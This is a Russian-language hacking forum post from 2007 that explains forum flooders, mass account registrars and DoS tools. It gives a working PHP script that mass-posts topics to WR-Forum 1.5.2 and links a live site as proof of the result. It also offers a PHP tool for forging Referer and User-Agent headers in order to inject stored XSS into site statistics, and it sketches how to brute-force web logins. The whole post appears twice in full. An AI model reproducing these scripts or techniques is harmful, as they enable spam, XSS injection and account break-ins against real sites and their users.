Grey
07.09.2007, 19:37
- флудеры, регеры, досеры
Флудер - программа/скрипт цель которой создать большое кол-во сообщений/тем на форуме (гостевой и т.д.), ничего полезного этим добиться нельзя (самое ужасное что ждёт админа форума это потратить время на очистку от флуда (хотя если скрипт написан криво, то есть возможность нарушить его работу, но такое бывает редко)) (собственно в большинстве случаев такими программами пользуются школьники лет 11-13, которые не могут придумать ничего более серьезного).
Регеры - программы/скрипты цель который зарегистрировать большое кол-во аккаунтов, елси же в регерах асек или мыльников есть хоть какой то толк (всё это нареганное добро можно будет продать в дальнейшем), то от регера акков на форуме (гостевой и т.д.) толку нет, кроме того что бы прибавить работу админу (модеру и т.д.).
Досеры - программы цель которых создать большое кол-во соединений, которые загрузят атакуемый сервак после чего его работа будет нарушена на какое то время (ввиду того что ачат против доса, работу таких программ расматривать не будем).
Напишем простой флудер, для не большого форума WR-Forum версии 1.5.2
Скачать сам скрипт форума можно здесь: http://woweb.ru/load/56-1-0-3745
Смотрим страницу создания новой темы, видим форму:
<form action="index.php?event=addtopic&fid=1" method=post name=REPLIER><input type=text class=post name=name size=23> <input type=text class=post name=email size=24><br><input type=text class=post name=zag maxlength=60 size=50><br>
<textarea class=post cols=100 rows=6 name=msg></textarea>
<BR><input type=submit class=mainoption value=' Добавить '></td></form>
Здесь нам понадобится это:
Путь до обрабатывающего данные скрипта:
action=index.php?event=addtopic&fid=
Имена переменных:
name=name
name=zag
name=msg
И смотрим какой тип передачи данных post или get
Тип передачи данных post, напишем на php не большой скрипт:
<?php
$host = 'localhost'; // адрес сайта без http:// к примеру site.ru
$path = '/forum/'; // путь до форума, к примеру /forum/
$n = 100; // число тем, которые будут созданы.
$path .= 'index.php?event=addtopic&fid=1';
for($i = 0; $i < $n; $i++)
{
$sock = fsockopen($host, '80');
$data = 'name='.$i.'&zag='.$i.'&msg='.$i; // имена переменных берём отсюда: input type=text class=post name=name size=23
$len = strlen($data);
$headers = "POST $path HTTP/1.1\r\nHost: $host\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: $len\r\n\r\n$data\r\nConnection: close\r\n\r\n";
fputs($sock, $headers);
fclose($sock);
}
?>
Делать подробное описание каждого оператора и функции нет смысла - тот, кто знаком с php напишет такой скрипт минут за 5, а те кто не знаком с php врятли поймут что либо, читая описание каждой строки этого скрипта. Поэтому для тех кто не знает php я подобрал небольшую сборку статей (или даже вырезок из статей) на тему передачи данных.
все необходимые файлы приаттачены к посту.
Суть этого флудера сводится к установке соединения и передачи данных, которые передавались бы из формы отправки.
Результат работы скрипта можно наблюдать здесь: __http://ce__nt__er.uct.ua/for__um/?fid=1 (уберити из сылки "__")
Написать по аналогии регер не сложно. Единственный момент, это всевозможная защита (ограничение по времени, картинка с кодом) - написать флудер для хорошо защищённого форума (гостевой и т.д. сложно).
Хотя если защита сделана криво, к примеру есть гостевые книги в которых защита сводится к проверки сообщения на сходство с предыдущим (т.е. нельзя написать два одинаковых сообщения), то в нашем случае такая защита будет бесполезна (т.к. текст сообщения здесь меняется).
Если защита от флуда сделана надлежащим образом, то писать флудер который будет обходить защиту и тратить на это время, не рационально, т.к. особого толка от него не будет (долгое время работы и не большой результат).
- x-forward-for, client-ip, referer
Раз речь зашла про передачу данных, то в кратце расскажу про подделку referer (ну и других переменных окружения). Было бы неплохо если бы кто нибудь более подробно раскрыл эту тему.
Когды вы посещаете страницу, то ваш браузер передаёт некоторую о вас информацию, среди этой информации referer - страница с которой вы перешли на данный сайт, user-agent - информация о вашем браузере и операционной системы.
На многих сайтах ведётся статистика, и многие не сильно продвинутые кодеры забывают фильтровать эти данные и как следствие (статистика как правило отображается) мы получаем активную xss.
Для подделки этих данных существует достаточно большое кол-во программ/скриптов, привиду пример такого скрипта:
<?php
if($HTTP_POST_VARS['form1'] == 1):
$host = $HTTP_POST_VARS['host'];
$port = $HTTP_POST_VARS['port'];
$path = $HTTP_POST_VARS['path'];
$referer = $HTTP_POST_VARS['referer'];
$user_agent = $HTTP_POST_VARS['user_agent'];
$s = fsockopen($host,$port) or die ('Не удаётся присоединиться к хосту.<br>');
echo('Соединение установлено.<br>'.$s.'<hr><br>');
$headers = "GET $path HTTP/1.1\r\nHost: $host\r\nReferer: $referer\r\nUser-Agent: $user_agent\r\nConnection: close\r\n\r\n";
fputs($s, $headers);
echo ('Данные переданы.<br>'.fgets($s));
fclose($s);
else:
?>
<table border='0' cellpadding='0' cellspacing='0' width='600'>
<form method='post'>
<input type='hidden' name='form1' value='1'>
<tr>
<td width='25%' height='30'>Host:</td>
<td width='40%' height='30'><input type='text' name='host' size='25'></td>
<td width='35%' height='30'><b>localhost</b></td>
</tr>
<tr>
<td width='25%' height='30'>Port:</td>
<td width='40%' height='30'><input type='text' name='port' size='4' value='80'></td>
<td width='35%' height='30'><b>80</b></td>
</tr>
<tr>
<td width='25%' height='30'>Path:</td>
<td width='40%' height='30'><input type='text' name='path' size='25'></td>
<td width='35%' height='30'><b>/dir/name.php</b></td>
</tr>
<tr>
<td width='25%' height='30'>Referer:</td>
<td width='40%' height='30'><input type='text' name='referer' size='25'></td>
<td width='35%' height='30'><b>test1</b></td>
</tr>
<tr>
<td width='25%' height='30'>User-agent:</td>
<td width='40%' height='30'><input type='text' name='user_agent' size='25'></td>
<td width='35%' height='30'><b>test2</b></td>
</tr>
<tr>
<td width='100%' height='30' colspan=3><input type='submit' value='Enter'></td>
</tr>
</form>
</table>
<?php
endif;
?>
Простейший скрипт для подделки referer"а и user_agent"а.
Что еще полезного можно сделать имея минимум знаний по протоколу HTTP/1.1 и php?
Ну к примеру написать скрипт для брута паролей на сайте, суть проста отправлять данные и парсить страницу на наличие/отсутствие тех или иных слов указывающий на правильный/не правильный логин и пароль (правда конечно назвать такой брут рациональным способом взлома сложно).
Вообще что бы лучше понять тему передачи данных не мешает просмотреть rfc2616 (мануал по протоколу HTTP/1.1)
Вырезки из статей на тему передачи данных:
Флудер - программа/скрипт цель которой создать большое кол-во сообщений/тем на форуме (гостевой и т.д.), ничего полезного этим добиться нельзя (самое ужасное что ждёт админа форума это потратить время на очистку от флуда (хотя если скрипт написан криво, то есть возможность нарушить его работу, но такое бывает редко)) (собственно в большинстве случаев такими программами пользуются школьники лет 11-13, которые не могут придумать ничего более серьезного).
Регеры - программы/скрипты цель который зарегистрировать большое кол-во аккаунтов, елси же в регерах асек или мыльников есть хоть какой то толк (всё это нареганное добро можно будет продать в дальнейшем), то от регера акков на форуме (гостевой и т.д.) толку нет, кроме того что бы прибавить работу админу (модеру и т.д.).
Досеры - программы цель которых создать большое кол-во соединений, которые загрузят атакуемый сервак после чего его работа будет нарушена на какое то время (ввиду того что ачат против доса, работу таких программ расматривать не будем).
Напишем простой флудер, для не большого форума WR-Forum версии 1.5.2
Скачать сам скрипт форума можно здесь: http://woweb.ru/load/56-1-0-3745
Смотрим страницу создания новой темы, видим форму:
<form action="index.php?event=addtopic&fid=1" method=post name=REPLIER><input type=text class=post name=name size=23> <input type=text class=post name=email size=24><br><input type=text class=post name=zag maxlength=60 size=50><br>
<textarea class=post cols=100 rows=6 name=msg></textarea>
<BR><input type=submit class=mainoption value=' Добавить '></td></form>
Здесь нам понадобится это:
Путь до обрабатывающего данные скрипта:
action=index.php?event=addtopic&fid=
Имена переменных:
name=name
name=zag
name=msg
И смотрим какой тип передачи данных post или get
Тип передачи данных post, напишем на php не большой скрипт:
<?php
$host = 'localhost'; // адрес сайта без http:// к примеру site.ru
$path = '/forum/'; // путь до форума, к примеру /forum/
$n = 100; // число тем, которые будут созданы.
$path .= 'index.php?event=addtopic&fid=1';
for($i = 0; $i < $n; $i++)
{
$sock = fsockopen($host, '80');
$data = 'name='.$i.'&zag='.$i.'&msg='.$i; // имена переменных берём отсюда: input type=text class=post name=name size=23
$len = strlen($data);
$headers = "POST $path HTTP/1.1\r\nHost: $host\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: $len\r\n\r\n$data\r\nConnection: close\r\n\r\n";
fputs($sock, $headers);
fclose($sock);
}
?>
Делать подробное описание каждого оператора и функции нет смысла - тот, кто знаком с php напишет такой скрипт минут за 5, а те кто не знаком с php врятли поймут что либо, читая описание каждой строки этого скрипта. Поэтому для тех кто не знает php я подобрал небольшую сборку статей (или даже вырезок из статей) на тему передачи данных.
все необходимые файлы приаттачены к посту.
Суть этого флудера сводится к установке соединения и передачи данных, которые передавались бы из формы отправки.
Результат работы скрипта можно наблюдать здесь: __http://ce__nt__er.uct.ua/for__um/?fid=1 (уберити из сылки "__")
Написать по аналогии регер не сложно. Единственный момент, это всевозможная защита (ограничение по времени, картинка с кодом) - написать флудер для хорошо защищённого форума (гостевой и т.д. сложно).
Хотя если защита сделана криво, к примеру есть гостевые книги в которых защита сводится к проверки сообщения на сходство с предыдущим (т.е. нельзя написать два одинаковых сообщения), то в нашем случае такая защита будет бесполезна (т.к. текст сообщения здесь меняется).
Если защита от флуда сделана надлежащим образом, то писать флудер который будет обходить защиту и тратить на это время, не рационально, т.к. особого толка от него не будет (долгое время работы и не большой результат).
- x-forward-for, client-ip, referer
Раз речь зашла про передачу данных, то в кратце расскажу про подделку referer (ну и других переменных окружения). Было бы неплохо если бы кто нибудь более подробно раскрыл эту тему.
Когды вы посещаете страницу, то ваш браузер передаёт некоторую о вас информацию, среди этой информации referer - страница с которой вы перешли на данный сайт, user-agent - информация о вашем браузере и операционной системы.
На многих сайтах ведётся статистика, и многие не сильно продвинутые кодеры забывают фильтровать эти данные и как следствие (статистика как правило отображается) мы получаем активную xss.
Для подделки этих данных существует достаточно большое кол-во программ/скриптов, привиду пример такого скрипта:
<?php
if($HTTP_POST_VARS['form1'] == 1):
$host = $HTTP_POST_VARS['host'];
$port = $HTTP_POST_VARS['port'];
$path = $HTTP_POST_VARS['path'];
$referer = $HTTP_POST_VARS['referer'];
$user_agent = $HTTP_POST_VARS['user_agent'];
$s = fsockopen($host,$port) or die ('Не удаётся присоединиться к хосту.<br>');
echo('Соединение установлено.<br>'.$s.'<hr><br>');
$headers = "GET $path HTTP/1.1\r\nHost: $host\r\nReferer: $referer\r\nUser-Agent: $user_agent\r\nConnection: close\r\n\r\n";
fputs($s, $headers);
echo ('Данные переданы.<br>'.fgets($s));
fclose($s);
else:
?>
<table border='0' cellpadding='0' cellspacing='0' width='600'>
<form method='post'>
<input type='hidden' name='form1' value='1'>
<tr>
<td width='25%' height='30'>Host:</td>
<td width='40%' height='30'><input type='text' name='host' size='25'></td>
<td width='35%' height='30'><b>localhost</b></td>
</tr>
<tr>
<td width='25%' height='30'>Port:</td>
<td width='40%' height='30'><input type='text' name='port' size='4' value='80'></td>
<td width='35%' height='30'><b>80</b></td>
</tr>
<tr>
<td width='25%' height='30'>Path:</td>
<td width='40%' height='30'><input type='text' name='path' size='25'></td>
<td width='35%' height='30'><b>/dir/name.php</b></td>
</tr>
<tr>
<td width='25%' height='30'>Referer:</td>
<td width='40%' height='30'><input type='text' name='referer' size='25'></td>
<td width='35%' height='30'><b>test1</b></td>
</tr>
<tr>
<td width='25%' height='30'>User-agent:</td>
<td width='40%' height='30'><input type='text' name='user_agent' size='25'></td>
<td width='35%' height='30'><b>test2</b></td>
</tr>
<tr>
<td width='100%' height='30' colspan=3><input type='submit' value='Enter'></td>
</tr>
</form>
</table>
<?php
endif;
?>
Простейший скрипт для подделки referer"а и user_agent"а.
Что еще полезного можно сделать имея минимум знаний по протоколу HTTP/1.1 и php?
Ну к примеру написать скрипт для брута паролей на сайте, суть проста отправлять данные и парсить страницу на наличие/отсутствие тех или иных слов указывающий на правильный/не правильный логин и пароль (правда конечно назвать такой брут рациональным способом взлома сложно).
Вообще что бы лучше понять тему передачи данных не мешает просмотреть rfc2616 (мануал по протоколу HTTP/1.1)
Вырезки из статей на тему передачи данных: